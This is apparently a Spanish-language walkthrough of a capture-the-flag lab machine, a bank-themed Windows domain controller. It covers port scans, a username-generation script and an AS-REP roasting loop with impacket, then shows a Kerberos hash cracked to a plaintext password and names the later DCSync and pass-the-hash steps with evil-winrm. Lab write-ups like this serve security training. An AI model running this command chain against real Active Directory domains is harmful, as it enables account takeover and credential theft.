❯ nmap -sS -Pn -n -vvv --open --min-rate 5000 10.10.10.175 -oG port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 16:58 EDT
Initiating SYN Stealth Scan at 16:58
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
Puertos abiertos
❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269 10.10.10.175 -oN target.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 17:01 EDT
Nmap scan report for 10.10.10.175
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-21 22:37:48Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-21T22:37:52
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 1h36m09s
Dado que el servicio Kerberos (puerto 88) se encuentra expuesto, utilizaremos la herramienta Kerbrute para realizar una enumeración de usuarios mediante un diccionario personalizado con los nombres que estan en la web. Tras ejecutar el ataque durante un tiempo, únicamente se logró identificar un usuario válido.
Agregue administrator a los ususarios.
Fergus Smith
Shaun Coins
Sophie Driver
Bowie Taylor
Hugo Bear
Steven Kerb
administrator
#!/bin/bash
# Archivo de entrada con nombres completos
input_file="usernamesPage.txt"
output_file="generated-unames.txt"
# Vaciar el archivo de salida
> "$output_file"
while IFS=' ' read -r first last; do
# Pasamos todo a minúsculas
first_lc=$(echo "$first" | tr '[:upper:]' '[:lower:]')
last_lc=$(echo "$last" | tr '[:upper:]' '[:lower:]')
# Generamos combinaciones
echo "$first_lc" >> "$output_file" # first
echo "$last_lc" >> "$output_file" # last
echo "${first_lc:0:1}$last_lc" >> "$output_file" # flast
echo "$first_lc.$last_lc" >> "$output_file" # first.last
echo "${first_lc}${last_lc:0:1}" >> "$output_file" # firstl
done < "$input_file"
Nos creamos un script en bash Este script toma un archivo de entrada (usernamesPage.txt) que contiene nombres completos (por ejemplo, "Fergus Smith") y genera varias combinaciones de nombres de usuario basadas en diferentes formatos. El resultado se guarda en generated-unames.txt.
❯ while read username; do impacket-GetNPUsers egotistical-bank.local/"$username" -request -no-pass -dc-ip 10.10.10.175 >> hash.txt; done < generated-unames.txt 2>/dev/null
Con el Impacket de impacket-GetNPUsersprocederemos a realizar un ataque para enumerar usuarios con el atributo de autenticación previa don't require Kerberos (DONT_REQ_PREAUTH). Lo que realiza este comando es recorrer línea por línea el archivo generado en el paso anterior para probar con todos los usuarios.
Hemos obtenido un tiquet GTG para el usuario "fsmith" con su respectivo hash de Krb5.
❯ echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:4095933151da82e92a4df0d15357d70e$0cd4618143142a11f8681e4265a36886b95de4f9a8af9eea72320389fa1c012f9bde706b6854acb2309b587b2f5894a21bac2c2cab00cb2ba2e76467f911fa591fb1cfb892cb04e9ae2fd63e6a5c81468911478919db03741a0922f15551dd6e9b833a00e91eea6c76d3dc37a0924f91af0e510cbba04a6187bc709376357f38f3da94814d3c491c429dc1faca6f01bbe532b2fa01357713f4a6c9b59373c6dd241e2ebf706ac81148e442033a3dba95e0b7481acd832777838228b9995932caa76ec31cb943c5b127e021cb5f21d7ed9c5764efe1e1fec9bb303802e0625978944dc8e521787b288161d387bcef43c348b95699a5ac2ef33646a23d2cef743c' > fsmith.hash
❯ john -w:/usr/share/wordlists/rockyou.txt fsmith.hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23 ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:13 DONE (2025-04-21 17:47) 0.07604g/s 801445p/s 801445c/s 801445C/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Crakeamos el hash y bueno obtenemos la contraseña.
El comando intenta conectarse al servicio WinRM en la IP 10.10.10.175 usando el usuario fsmith y la contraseña Thestrokes23, solo para comprobar si las credenciales son correctas. Si son válidas, la herramienta responderá con éxito. Si no lo son, no mostrará errores porque los estamos ocultando con 2>/dev/null.
Hacer que un Domain Controller (DC) te dé los hashes de contraseña como si fueras otro controlador de dominio (¡como si tú también fueras parte del dominio!).
PassTheHash
Una vez obtenido el hash del usuario "Administrator", procederemos a conectarnos al WinRM con evil-winrm indicando que queremos acceder con el usuario "Administrator" y el hash encontrado.